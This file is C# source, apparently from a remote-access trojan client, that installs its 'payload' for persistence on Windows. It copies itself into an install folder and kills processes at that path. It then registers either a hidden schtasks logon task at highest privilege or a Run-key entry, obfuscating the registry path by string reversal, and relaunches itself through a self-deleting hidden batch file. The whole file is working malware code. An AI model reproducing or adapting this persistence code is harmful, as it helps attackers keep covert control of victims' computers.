92 lines
3.7 KiB
C#
92 lines
3.7 KiB
C#
using Client.Helper;
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Threading;
|
|
|
|
namespace Client.Install
|
|
{
|
|
class NormalStartup
|
|
{
|
|
public static void Install()
|
|
{
|
|
try
|
|
{
|
|
FileInfo installPath = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile));
|
|
string currentProcess = Process.GetCurrentProcess().MainModule.FileName;
|
|
if (currentProcess != installPath.FullName) //check if payload is running from installation path
|
|
{
|
|
|
|
foreach (Process P in Process.GetProcesses()) //kill any process which shares same path
|
|
{
|
|
try
|
|
{
|
|
if (P.MainModule.FileName == installPath.FullName)
|
|
P.Kill();
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
if (Methods.IsAdmin()) //if payload is runnign as administrator install schtasks
|
|
{
|
|
Process.Start(new ProcessStartInfo
|
|
{
|
|
FileName = "cmd",
|
|
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + Path.GetFileNameWithoutExtension(currentProcess) + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit",
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
CreateNoWindow = true,
|
|
});
|
|
}
|
|
else
|
|
{
|
|
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
|
|
{
|
|
key.SetValue(Path.GetFileNameWithoutExtension(installPath.FullName), "\"" + installPath.FullName + "\"");
|
|
}
|
|
}
|
|
|
|
FileStream fs;
|
|
if (File.Exists(installPath.FullName))
|
|
{
|
|
File.Delete(installPath.FullName);
|
|
Thread.Sleep(1000);
|
|
}
|
|
fs = new FileStream(installPath.FullName, FileMode.CreateNew);
|
|
byte[] clientExe = File.ReadAllBytes(currentProcess);
|
|
fs.Write(clientExe, 0, clientExe.Length);
|
|
|
|
Methods.ClientOnExit();
|
|
|
|
string batch = Path.GetTempFileName() + ".bat";
|
|
using (StreamWriter sw = new StreamWriter(batch))
|
|
{
|
|
sw.WriteLine("@echo off");
|
|
sw.WriteLine("timeout 3 > NUL");
|
|
sw.WriteLine("START " + "\"" + "\" " + "\"" + installPath.FullName + "\"");
|
|
sw.WriteLine("CD " + Path.GetTempPath());
|
|
sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q");
|
|
}
|
|
|
|
Process.Start(new ProcessStartInfo()
|
|
{
|
|
FileName = batch,
|
|
CreateNoWindow = true,
|
|
ErrorDialog = false,
|
|
UseShellExecute = false,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
|
|
Environment.Exit(0);
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Debug.WriteLine("Install Failed : " + ex.Message);
|
|
}
|
|
}
|
|
|
|
}
|
|
}
|